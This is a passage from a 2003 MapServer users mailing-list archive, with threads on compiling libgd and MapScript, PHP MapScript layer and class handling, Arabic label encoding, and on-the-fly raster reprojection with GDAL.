2.0.11, but initially ran into >> problems >> missing jconfig.h, jmorecfg.h, jpeglib.h, jerror.h. Re-directed the >> path in the Makefile, then ran into problems missing xpm.h. >> Is this needed? configured --without-xpm, but install gave: >> ./libtool[4761]: ranlib: not found >> *** Error code 127 >> make: Fatal error: Command failed for target `install-libLTLIBRARIES' >> Current working directory /MAPSERVER/GD/gd-2.0.11 >> *** Error code 1 >> make: Fatal error: Command failed for target `install-am' >> Current working directory /MAPSERVER/GD/gd-2.0.11 >> *** Error code 1 >> make: Fatal error: Command failed for target `install-recursive' >> # exit > > > Brian, > > I would suggest trying "make RANLIB=/bin/true". I would have thought the > configure script would have checked on stuff like libxpm and libjpeg > being > available. I think the libgd configure logic is pretty new. Perhaps we > should submit an error to the maintainer. > > Best regards, > From pkishor at geoanalytics.com Thu Jan 23 21:21:12 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Fri, 24 Jan 2003 05:21:12 -0000 Subject: [Mapserver-users] mapscript seems to be fubar Message-ID: Steve L, Lowell, others, I seem to have fubar-ed my perfectly working copy of mapscript, and can't figure out how to set it right. I rebuilt mapserver 3.6.4. Straight, no frills -- ./configure --with-jpeg --with-gd=../gd-1.8.4 --with-png=/usr/local/lib Got the usualy slew of messages and warnings and what-not, and then mapserv is built just fine -- [lucknow:~/Projects/mapserver/mapserver-3.6.4] pkishor% ./mapserv -v MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=TTF INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE Then I do the perl Makefile.PL, make, sudo make install dance, and mapscript.pm gets built and installed in its correct place. But nothing works with perl. Trying out the simplest dump.pl, I get [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/dap.shp Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 18. and so on. When I turn diagnostics on, I get -- [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/Sites/palatine/data/dap.shp Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 19 (#1) (F) You said to do (or require, or use) a file that couldn't be found. Perl looks for the file in all the locations mentioned in @INC, unless the file name included the full path to the file. Perhaps you need to set the PERL5LIB or PERL5OPT environment variable to say where the extra library is, or maybe the script needs to add the library name to @INC. Or maybe you just misspelled the name of the file. See perlfunc/require and lib. Uncaught exception from user code: Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 19. I know that mapscript.pm is in my @INC which is -- /System/Library/Perl/darwin /System/Library/Perl /Library/Perl/darwin /Library/Perl /Library/Perl /Network/Library/Perl/darwin /Network/Library/Perl /Network/Library/Perl because make install put it there -- [lucknow:mapserver-3.6.4/mapscript/perl] pkishor% sudo make install Password: Installing /Library/Perl/darwin/auto/mapscript/mapscript.bs Installing /Library/Perl/darwin/auto/mapscript/mapscript.bundle Files found in blib/arch: installing files in blib/lib into architecture dependent library tree Installing /Library/Perl/darwin/mapscript.pm Writing /Library/Perl/darwin/auto/mapscript/.packlist Appending installation info to /System/Library/Perl/darwin/perllocal.pod I am at a dead end. Any suggestions as to where I should begin looking From steve.lime at dnr.state.mn.us Thu Jan 23 22:27:00 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 24 Jan 2003 00:27:00 -0600 Subject: [Mapserver-users] mapscript seems to be fubar Message-ID: I thought Dan quoted me in the 3.6.4 announcement, but perhaps not. Anyway, 3.6.4 was SWIGed with the latest version. Consequently there is a small, but important, modification you must make to scripts. All references to constructors must be updated. So: $map = new mapObj(...); becomes: $map = new mapscript::mapObj(...); This brings the perl module inline with the other SWIG modules. So basically it's a namespace issue. Make that change and you should be good to go. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "pkishor_98 " 01/23/03 23:27 PM >>> Steve L, Lowell, others, I seem to have fubar-ed my perfectly working copy of mapscript, and can't figure out how to set it right. I rebuilt mapserver 3.6.4. Straight, no frills -- ./configure --with-jpeg --with-gd=../gd-1.8.4 --with-png=/usr/local/lib Got the usualy slew of messages and warnings and what-not, and then mapserv is built just fine -- [lucknow:~/Projects/mapserver/mapserver-3.6.4] pkishor% ./mapserv -v MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=TTF INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE Then I do the perl Makefile.PL, make, sudo make install dance, and mapscript.pm gets built and installed in its correct place. But nothing works with perl. Trying out the simplest dump.pl, I get [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/dap.shp Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 18. and so on. When I turn diagnostics on, I get -- [lucknow:mapscript/perl/examples] pkishor% ./dump.pl -file=~/Sites/palatine/data/dap.shp Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 19 (#1) (F) You said to do (or require, or use) a file that couldn't be found. Perl looks for the file in all the locations mentioned in @INC, unless the file name included the full path to the file. Perhaps you need to set the PERL5LIB or PERL5OPT environment variable to say where the extra library is, or maybe the script needs to add the library name to @INC. Or maybe you just misspelled the name of the file. See perlfunc/require and lib. Uncaught exception from user code: Can't locate object method "new" via package "shapefileObj" at ./dump.pl line 19. I know that mapscript.pm is in my @INC which is -- /System/Library/Perl/darwin /System/Library/Perl /Library/Perl/darwin /Library/Perl /Library/Perl /Network/Library/Perl/darwin /Network/Library/Perl /Network/Library/Perl because make install put it there -- [lucknow:mapserver-3.6.4/mapscript/perl] pkishor% sudo make install Password: Installing /Library/Perl/darwin/auto/mapscript/mapscript.bs Installing /Library/Perl/darwin/auto/mapscript/mapscript.bundle Files found in blib/arch: installing files in blib/lib into architecture dependent library tree Installing /Library/Perl/darwin/mapscript.pm Writing /Library/Perl/darwin/auto/mapscript/.packlist Appending installation info to /System/Library/Perl/darwin/perllocal.pod I am at a dead end. Any suggestions as to where I should begin looking _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From shadow at dementia.org Thu Jan 23 22:44:49 2003 From: shadow at dementia.org (Derrick J Brashear) Date: Fri, 24 Jan 2003 01:44:49 -0500 (EST) Subject: [Mapserver-users] repository of sample configurations? Message-ID: I set up the demo configuration, then started modifying it. I have it tiling collared DRGs now and as soon as I figure out a useful way to make a tileindex shapefile which just grids the useful parts of DRGs I'm going to do that, but I'm wondering if there's a repository of configurations people are willing to share? From bwragg at tpg.com.au Thu Jan 23 23:05:17 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Fri, 24 Jan 2003 17:35:17 +1030 Subject: [Mapserver-users] Classes and Layers Message-ID: <000001c2c376$f4329c70$0100a8c0@mapping12> Hi Guys, I'm trying to add a class to a PostGIS layer that is already defined in a mapfile. What I'm trying to do is pass the gid of a feature from a user and create a class only showing the feature selected. The code is shown below: $featureID=X //passed in from user $layer=$map->getlayerbyname('testpoints'); $class=ms_newClassObj($layer); $class->set("name", "Selected Feature"); $class->setexpression('gid=$featureID'); $colorId=$map->addColor(255,0,0); $class->set("color", $colorId); $class->set("size", 10); $layer->set("status", MS_ON); $image=$map->draw(); $imageURL$image->saveWebImage(MS_PNG,1,1,0); The layer in the map file is as follows: LAYER CONNECTIONTYPE postgis NAME "testpoints" CONNECTION "user=user password=password dbname=dbname host=localhost" DATA "the_geom from testpoints" STATUS ON TYPE POINT CLASS NAME "All Features" COLOR 0 0 0 SIZE 10 SYMBOL 2 END END The map produced is no different. Any ideas? Thanks, Benjamin Wragg From dbarron at ddive.com Thu Jan 23 21:51:29 2003 From: dbarron at ddive.com (Dan Barron) Date: Thu, 23 Jan 2003 21:51:29 -0800 Subject: [Mapserver-users] How to Draw Annotation Layer Last In-Reply-To: <3E2F0149.19054.99DA788@localhost> References: <5.2.0.9.0.20030122160637.05b41ea0@192.168.11.30> <200301221353.AA1294008522@cshore.com> Message-ID: <5.2.0.9.0.20030123162215.0412be00@192.168.11.30> --=====================_25681046==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable For future reference for anyone who may have a similar problem, here is the= =20 path I took to resolve the problem in drawing the annotation layer last. I finally took a step back on this problem and simplified my map file and=20 my php/mapscript code and was successful in getting the layer to appear on= =20 top of all other layers. I also upgraded to MapServer 3.6.4, php/mapscript= =20 3.6, and PHP 4.3.0 so as the have the current stable versions to work with. With the help of the folks on the list - here's a couple observations that= =20 seemed worth sharing. If these are well known to everyone, then my=20 apologies up front. - The position of the annotation layer object in the map file had no=20 effect. Once working properly, the annotation layer FEATURE TEXT was drawn= =20 last and therefore visible on top of all other layers in all cases whether= =20 the annotation layer object was first or last in the map file. - In php/mapscript, the method $map->drawLabelCache($image) was needed only= =20 when the annotation layer object STATUS was set to OFF in the map file and= =20 you dynamically retrieved the layer object in php/mapscript and set the=20 layer object STATUS ON then called $layer->draw($image). Otherwise, if the= =20 STATUS was set to ON or DEFAULT, the FEATURE TEXT would appear successfully. I've included the simplified map file and php/mapscript code used to get my= =20 bearings on this. Dan #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~~~~ # mapnavigatorTEST.map #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~~~~ name mapnavigatorTEST size 720 360 status ON extent -120.0 0.0 -10.0 70.0 units DD shapepath "data" imagetype PNG transparent off fontset "./fonts/font.list" symbolset "./symbols/symbols.list" PROJECTION "proj=3Dlatlong" "ellps=3DGRS80" END WEB imagepath "c:/bin/jboss-2.4.0_tomcat-3.2.3/tomcat/webapps/tmp/" imageurl "/tmp/" END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Start of scalebar #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SCALEBAR label color 50 50 150 size tiny end style 0 size 200 4 color 50 50 150 outlinecolor 0 0 0 units miles intervals 3 transparent false status off END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # REFERENCE map #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ REFERENCE image "" size 100 100 extent -190 -95 190 95 color -1 -1 -1 outlinecolor 255 50 50 END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # LAYER definitions #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Credits #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LAYER NAME credits STATUS off TRANSFORM false TYPE annotation FEATURE points 1 10 end text '=A9 www.destinationdive.com' END CLASS NAME credits LABEL type truetype font verdana size 8 antialias true color 51 51 51 position UR backgroundcolor 255 255 255 buffer 2 END END END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # main base map layer #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LAYER name Country type POLYGON status on data 'country' minscale 26000010 class name Country outlinecolor 204 204 204 color 255 255 204 end END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # NORTH AMERICA #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LAYER NAME canada TYPE POLYGON STATUS ON GROUP 'north_america' DATA 'north_america/canada/ponet_poly_poly' MAXSCALE 26000000 class name canada outlinecolor 204 204 204 color 255 255 204 END END LAYER NAME mexico TYPE POLYGON STATUS ON GROUP 'north_america' DATA 'north_america/mexico/ponet_poly_poly' MAXSCALE 26000000 CLASS name mexico outlinecolor 204 204 204 color 255 255 204 END END #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # USA #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LAYER NAME states TYPE POLYGON STATUS ON DATA 'north_america/usa/statesp020' MAXSCALE 26000000 GROUP 'north_america' CLASS name states outlinecolor 204 204 204 color 255 255 204 END END END //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~ // simple-map-test.php //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~ draw(); $credits =3D $map->getLayerByName("credits"); $credits->set("status", MS_ON ); $credits->draw( $image ); $map->drawLabelCache($image); $image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); $image->free(); ?> " border=3D"1"= style=3D"background-color:=20 #99ccff;" alt=3D""> --=====================_25681046==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable For future reference for anyone who may have a similar problem, here is the path I took to resolve the problem in drawing the annotation layer last.

I finally took a step back on this problem and simplified my map file and my php/mapscript code and was successful in getting the layer to appear on top of all other layers.  I also upgraded to MapServer 3.6.4, php/mapscript 3.6, and PHP 4.3.0 so as the have the current stable versions to work with.

With the help of the folks on the list - here's a couple observations that seemed worth sharing.  If these are well known to everyone, then my apologies up front.

- The position of the annotation layer object in the map file had no effect.  Once working properly, the annotation layer FEATURE TEXT was drawn last and therefore visible on top of all other layers in all cases whether the annotation layer object was first or last in the map file.

- In php/mapscript, the method $map->drawLabelCache($image) was needed only when the annotation layer object STATUS was set to OFF in the map file and you dynamically retrieved the layer object in php/mapscript and set the layer object STATUS ON then called $layer->draw($image).  Otherwise, if the STATUS was set to ON or DEFAULT, the FEATURE TEXT would appear successfully.

I've included the simplified map file and php/mapscript code used to get my bearings on this.

Dan

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~~~~
# mapnavigatorTEST.map
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~~~~

name mapnavigatorTEST
size 720 360
status ON
extent -120.0 0.0 -10.0 70.0
units DD
shapepath "data"
imagetype PNG
transparent off
fontset "./fonts/font.list"
symbolset "./symbols/symbols.list"

PROJECTION
 "proj=3Dlatlong"
 "ellps=3DGRS80"
END

WEB
  imagepath "c:/bin/jboss-2.4.0_tomcat-3.2.3/tomcat/webapps/tmp/"
  imageurl "/tmp/"
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Start of scalebar
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SCALEBAR
  label
    color 50 50 150
    size tiny
  end
  style 0
  size 200 4
  color 50 50 150
  outlinecolor 0 0 0
  units miles
  intervals 3
  transparent false
  status off
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# REFERENCE map
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
REFERENCE
  image ""
  size 100 100
  extent -190 -95 190 95
  color -1 -1 -1
  outlinecolor 255 50 50
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# LAYER definitions
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Credits
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LAYER
 NAME credits
 STATUS off
 TRANSFORM false
 TYPE annotation
 FEATURE
   points 1 10 end 
   text '=A9 www.destinati= ondive.com
 END
 CLASS
   NAME credits
   LABEL
     type truetype
     font verdana
     size 8
     antialias true
     color 51 51 51
     position UR
     backgroundcolor 255 255 255
     buffer 2
   END
 END
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# main base map layer
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LAYER
    name Country
    type POLYGON
    status on
    data 'country'
    minscale 26000010
    class
      name Country
         outlinecolor 204 204 204
      color 255 255 204
    end
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# NORTH AMERICA
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LAYER
  NAME canada
  TYPE POLYGON
  STATUS ON
  GROUP 'north_america'
  DATA 'north_america/canada/ponet_poly_poly'
  MAXSCALE 26000000
  class
    name canada
    outlinecolor 204 204 204
    color 255 255 204
  END
END

LAYER
  NAME mexico
  TYPE POLYGON
  STATUS ON
  GROUP 'north_america'
  DATA 'north_america/mexico/ponet_poly_poly'
  MAXSCALE 26000000
  CLASS
    name mexico
    outlinecolor 204 204 204
    color 255 255 204
  END
END

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# USA
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LAYER
  NAME states
  TYPE POLYGON
  STATUS ON
  DATA 'north_america/usa/statesp020'
  MAXSCALE 26000000
  GROUP 'north_america'
  CLASS
    name states
    outlinecolor 204 204 204
    color 255 255 204
  END
END

END

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~
// simple-map-test.php
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~

<?php

$mapPath=3D"c:/bin/jboss-2.4.0_tomcat-3.2.3/tomcat/webapps/mapserver3.5= /";
$mapFile=3D"mapNavigator-test.map";

$map =3D ms_newMapObj($mapPath.$mapFile);
$image=3D$map->draw();

$credits =3D $map->getLayerByName("credits");
$credits->set("status", MS_ON );
$credits->draw( $image );

$map->drawLabelCache($image);
$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);

$image->free();

?>

<img src=3D"<?php echo $image_url_PNG?>"= border=3D"1" style=3D"background-color: #99ccff;"= alt=3D"">

--=====================_25681046==.ALT-- From guillaume.sueur at khi2.fr Fri Jan 24 00:00:18 2003 From: guillaume.sueur at khi2.fr (Guillaume SUEUR) Date: Fri, 24 Jan 2003 09:00:18 +0100 Subject: [Mapserver-users] QueryByAttributes - Search Parcels By Owner Name References: Message-ID: <3E30F292.6020903@khi2.fr> I guess I have a clue : First you use $HTTP_FORM_VARS["OwnerName"] which exists since you fill this array at the beginning of the code (from gmap). But after that, you use $OwnerName which exists only if you declared it as global at the beginning of your function. And I think you didn't. So you can either declare $OwnerName as GLOBAL at the beginning of the function, and use it in both places, either use $HTTP_FORM_VARS["OwnerName"] to retrieve the value in the setfilter expression. Hope it helps -- --------------------------- Guillaume SUEUR Ing?nieur d?veloppement SIG KHI2 - BVA 25bis Avenue Marcel Dassault 31505 TOULOUSE CEDEX 5 ---------------------------- From squale_666 at hotmail.com Fri Jan 24 00:26:12 2003 From: squale_666 at hotmail.com (Daniel Penninck) Date: Fri, 24 Jan 2003 08:26:12 +0000 Subject: [Mapserver-users] Arabic label Message-ID: Steve, first, thanks for your reply. The fact is that that the problem has two aspect: First get an arabic font. And, second, set the correct charact?re encoding. Althought my application run under Linux, I did some 'fonts' test under Windows XP. I could see my '???? ??????' text as arabic in internet explorer and Netscape by changing the encoding (I.E character set) from Western European (ISO) to Arabic (ISO). So I would like to know which font those programs use when I do this change. I think there is no change since the default Arial font support 'arabic base' character set. And if there is no character font change, I would like to know how to tell my mapserver cgi to use another character set. How do I do that on Linux? Does the GD or the Freetype library have something to do whith that? Do I have to recompile those library and relink my mapserver binary? Thanks for help. >From: woodbri at swoodbridge.com >Reply-To: woodbri at swoodbridge.com >To: mapserver-users at lists.gis.umn.edu, "Daniel Penninck" > >Subject: Re: [Mapserver-users] Arabic label >Date: Thu, 23 Jan 2003 18:25:05 -0500 > >Daniel, > >You will need to get a true type font that will render the arabic >characters correctly before it will look correct. I found one >searching the web, but I am in the process of moving everything to a >new system and I can't find anything at the moment. But try a google >search for something like "arabic true type font download" should get >you pretty close. > >-Steve W. > >On 23 Jan 2003 at 22:42, Daniel Penninck wrote: > > > Hi, > > > > I would like to know how to display arabic label in my mapserver test > > application. > > > > I have streets's names encoded in arabic: character code is > > ISO-8859-6. Example of label value in the db: ???? ?????? and I am > > sure this value can be display in arabic. > > > > I want to see them as arabic label in the map, but it doesn't work: I > > was no-sens label instead! > > > > Can Someone help? > > > > Thanks, > > > > Daniel. > > > > PS: > > value in db: > > ???? ?????? > > > > arabic label: > > ﺎﺘﻓﺪﻓﺍ > > ﻍﺭﺎﺷ > > > > > > _________________________________________________________________ > > Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _________________________________________________________________ Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail From squale_666 at hotmail.com Fri Jan 24 00:24:50 2003 From: squale_666 at hotmail.com (Daniel Penninck) Date: Fri, 24 Jan 2003 08:24:50 +0000 Subject: [Mapserver-users] Arabic label Message-ID: Steve, As I fear, this didn't solve the problem. I still have the same 'garbage' text instead of correct arabic text. Could you suggest me another solution? Thanks. >From: woodbri at swoodbridge.com >Reply-To: woodbri at swoodbridge.com >To: mapserver-users at lists.gis.umn.edu, "Daniel Penninck" > >Subject: Re: [Mapserver-users] Arabic label >Date: Thu, 23 Jan 2003 20:47:36 -0500 > >Daniel, > >I found the link you need to get the titus unicode true type font. >They have an arabic font, look under the unicode link on the right to >get started: > >http://titus.fkidg1.uni-frankfurt.de/indexe.htm > >-Steve W. > >On 23 Jan 2003 at 18:25, woodbri at swoodbridge.com wrote: > > > Daniel, > > > > You will need to get a true type font that will render the arabic > > characters correctly before it will look correct. I found one > > searching the web, but I am in the process of moving everything to a > > new system and I can't find anything at the moment. But try a google > > search for something like "arabic true type font download" should get > > you pretty close. > > > > -Steve W. > > > > On 23 Jan 2003 at 22:42, Daniel Penninck wrote: > > > > > Hi, > > > > > > I would like to know how to display arabic label in my mapserver > > > test application. > > > > > > I have streets's names encoded in arabic: character code is > > > ISO-8859-6. Example of label value in the db: ???? ?????? and I am > > > sure this value can be display in arabic. > > > > > > I want to see them as arabic label in the map, but it doesn't work: > > > I was no-sens label instead! > > > > > > Can Someone help? > > > > > > Thanks, > > > > > > Daniel. > > > > > > PS: > > > value in db: > > > ???? ?????? > > > > > > arabic label: > > > ﺎﺘﻓﺪﻓﺍ > > > ﻍﺭﺎﺷ > > > > > > > > > _________________________________________________________________ > > > Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _________________________________________________________________ From squale_666 at hotmail.com Fri Jan 24 00:30:28 2003 From: squale_666 at hotmail.com (Daniel Penninck) Date: Fri, 24 Jan 2003 08:30:28 +0000 Subject: [Mapserver-users] Arabic label Message-ID: Hi Paul, Well, I don't think ms arial unicode font is the problem since I can see arabic text in IE and Netscape using MS Arial font and just changing the character encoding from western european ISO to Arabic ISO. My problem is that I don't know how to tell my mapserver cgi that current encoding is Arabic ISO instead of western european ISO. Can someone help? PS: I run mapserver under Linux. >From: paul at tei.or.th (Paul Hastings) >Reply-To: "Paul Hastings" >To: "Daniel Penninck" >Subject: Re: [Mapserver-users] Arabic label >Date: Fri, 24 Jan 2003 12:42:23 +0700 > >ms arial unicode doesn't work? its big i admit but i use it in most of my >unicode apps. > >----- Original Message ----- >From: "Daniel Penninck" >To: >Sent: Friday, January 24, 2003 5:42 AM >Subject: [Mapserver-users] Arabic label > > >Hi, > >I would like to know how to display arabic label in my mapserver test >application. > >I have streets's names encoded in arabic: character code is ISO-8859-6. >Example of label value in the db: ???? ?????? and I am sure this value can >be display in arabic. > >I want to see them as arabic label in the map, but it doesn't work: I was >no-sens label instead! > >Can Someone help? > >Thanks, > >Daniel. > >PS: >value in db: >???? ?????? > >arabic label: >ﺎﺘﻓﺪﻓﺍ >ﻍﺭﺎﺷ > > >_________________________________________________________________ >Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _________________________________________________________________ From hubert.froehlich at bvv.bayern.de Fri Jan 24 03:50:49 2003 From: hubert.froehlich at bvv.bayern.de (Hubert =?ISO-8859-1?Q?Fr=F6hlich?=) Date: Fri, 24 Jan 2003 12:50:49 +0100 Subject: [Mapserver-users] Raster Projection References: <20030123195915.10998.qmail@web12508.mail.yahoo.com> Message-ID: <3E312899.4040205@bvv.bayern.de> Frank Warmerdam wrote: randy james wrote: Hi List I have some orthophotos in geotiff format. Some are in albers equal area and some are UTM, projection. H have been trying to reproject on the fly, but i cannot seem to get it to work. The map projection is UTM so i do not have a problem with the orthos that are already in UTM, but cannot get the AEA orthos to load. Been reading the list, and seen that raster layers are used as is and cannot be reprojected on the fly. Is this correct? Is it possible to use shape tile index on the orthophotos, and reproject the shape file? I thought someone may have tried, if not i'll give it a try today. Randy, MapServer configured with PROJ and GDAL support (and TIFF disabled) can reproject rasters on the fly; however, there are some limitations. o You can't generally mix images in different projections in an index file. o A given raster layer can only have one projections. o If the file is handled through the non-GDAL TIFF driver reprojection won't be supported. o This stuff works in 3.6.x and 3.7dev and is likely working best in the 3.7 version. Frank, what is (roughly) the difference between native TIFF/GeoTIFF support and support by gdal? Seems that gdal is more capable? (you mentioned reprojection) What happens if I compile with native tiff support AND gdal support? Does this make sense? (Or should I REALLY compile only with --without-tiff ? ) Greetings, Hubert -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fr?hlich Bezirksfinanzdirektion M?nchen Alexandrastr. 3, D-80538 M?nchen, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2459 hubert.froehlich at bvv.bayern.de From gerry.creager at tamu.edu Fri Jan 24 06:00:24 2003 From: gerry.creager at tamu.edu (Gerry Creager) Date: Fri, 24 Jan 2003 08:00:24 -0600 Subject: [Mapserver-users] Raster Projection References: <20030123195915.10998.qmail@web12508.mail.yahoo.com> <3E312899.4040205@bvv.bayern.de> Message-ID: <3E3146F8.1080205@tamu.edu> To carry this a bit further, what happens when one uses a geotiff with appropriate registration on a projected map? In general terms, (and it's early, I'm minus on sleep, and the coffee's not ready yet...) One has a non-projected raster image, rectifies it as well as possible with indices from ground reference, and registers it to the vector map, with some degree of rubbersheeting. OR, one can take the flat image, register and rectify, assuming a non-projected image, and then project it in a standard form. The degree of distortion is similar.... correct? Thus, what's easier and best practice? The interest I have is that I'll be creating a set of GIF's (I need both animation and transparency) that I want to overlay atop a weather depiction map. The GIFs will be unprojected but I can easily register the image to the various radar sites in the State, so rubbersheeting the image is a non-issue, if GDAL and the other adjunts will allow this. TIA, gerry Hubert Fr?hlich wrote: > > Frank Warmerdam wrote: > > randy james wrote: > > Hi List > > I have some orthophotos in geotiff format. Some are in > albers equal area and some are UTM, projection. H have > been trying to reproject on the fly, but i cannot seem > to get it to work. The map projection is UTM so i do > not have a problem with the orthos that are already in > UTM, but cannot get the AEA orthos to load. > > Been reading the list, and seen that raster layers are > used as is and cannot be reprojected on the fly. Is > this correct? > > Is it possible to use shape tile index on the > orthophotos, and reproject the shape file? I thought > someone may have tried, if not i'll give it a try > today. > > > Randy, > > MapServer configured with PROJ and GDAL support (and TIFF disabled) > can reproject rasters on the fly; however, there are some limitations. > > o You can't generally mix images in different projections in an index > file. > o A given raster layer can only have one projections. > o If the file is handled through the non-GDAL TIFF driver reprojection > won't be supported. > o This stuff works in 3.6.x and 3.7dev and is likely working best in > the 3.7 > version. > > > > Frank, > > what is (roughly) the difference between native TIFF/GeoTIFF support and > support by gdal? Seems that gdal is more capable? (you mentioned > reprojection) > > What happens if I compile with native tiff support AND gdal support? > Does this make sense? (Or should I REALLY compile only with > --without-tiff ? ) > > > Greetings, > > Hubert > -- Gerry Creager -- gerry.creager at tamu.edu Texas Mesonet -- AATLT, Texas A&M University Office: 979.458.4020 FAX: 979.847.8578 Cell: 979.229.5301 Pager: 979.228.0173 From jmccue at geovue.com Fri Jan 24 06:07:26 2003 From: jmccue at geovue.com (John McCue) Date: Fri, 24 Jan 2003 09:07:26 -0500 Subject: [Mapserver-users] 